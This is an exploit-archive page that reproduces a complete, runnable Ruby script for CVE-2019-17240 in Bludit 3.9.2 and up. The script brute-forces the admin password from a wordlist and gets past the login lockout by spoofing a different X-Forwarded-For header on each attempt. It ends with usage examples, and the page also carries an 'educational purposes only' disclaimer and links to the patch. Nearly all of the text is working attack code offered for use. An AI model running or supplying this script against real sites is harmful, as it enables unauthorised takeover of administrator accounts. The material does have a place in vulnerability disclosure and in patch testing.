Bludit3.9.2 authentication bruteforce mitigation bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-08-17 | Type : webapps | Platform : php
This exploit / vulnerability Bludit3.9.2 authentication bruteforce mitigation bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env ruby
## Title: Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass
## Author: noraj (Alexandre ZANNI)
## Author website: https://pwn.by/noraj/
## Date: 2020-08-16
## Vendor Homepage: https://www.bludit.com/
## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
## Version: <= 3.9.2
## Tested on: Bludit Version 3.9.2

# Vulnerability
## Discoverer: Rastating
## Discoverer website: https://rastating.github.io/
## CVE: CVE-2019-17240
## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240
## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
## Patch: https://github.com/bludit/bludit/pull/1090

require 'httpclient'
require 'docopt'

# dirty workaround to remove this warning:
# Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning.
# see https://github.com/nahi/httpclient/issues/252
class WebAgent
class Cookie < HTTP::Cookie
def domain
self.original_domain
end
end
end

def get_csrf(client, login_url)
res = client.get(login_url)
csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end

def auth_ok?(res)
HTTP::Status.redirect?(res.code) &&
%r{/admin/dashboard}.match?(res.headers['Location'])
end

def bruteforce_auth(client, host, username, wordlist)
login_url = host + '/admin/login'
File.foreach(wordlist).with_index do |password, i|
password = password.chomp
csrf_token = get_csrf(client, login_url)
headers = {
'X-Forwarded-For' => "#{i}-#{password[..4]}",
}
data = {
'tokenCSRF' => csrf_token,
'username' => username,
'password' => password,
}
puts "[*] Trying password: #{password}"
auth_res = client.post(login_url, data, headers)
if auth_ok?(auth_res)
puts "\n[+] Password found: #{password}"
break
end
end
end

doc = <<~DOCOPT
Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass

Usage:
#{__FILE__} -r <url> -u <username> -w <path> [--debug]
#{__FILE__} -H | --help

Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-u <username>, --user <username> Username of the admin
-w <path>, --wordlist <path> Path to the wordlist file
--debug Display arguments
-H, --help Show this screen

Examples:
#{__FILE__} -r http://example.org -u admin -w myWordlist.txt
#{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt
DOCOPT

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

clnt = HTTPClient.new
bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])
rescue Docopt::Exit => e
puts e.message
end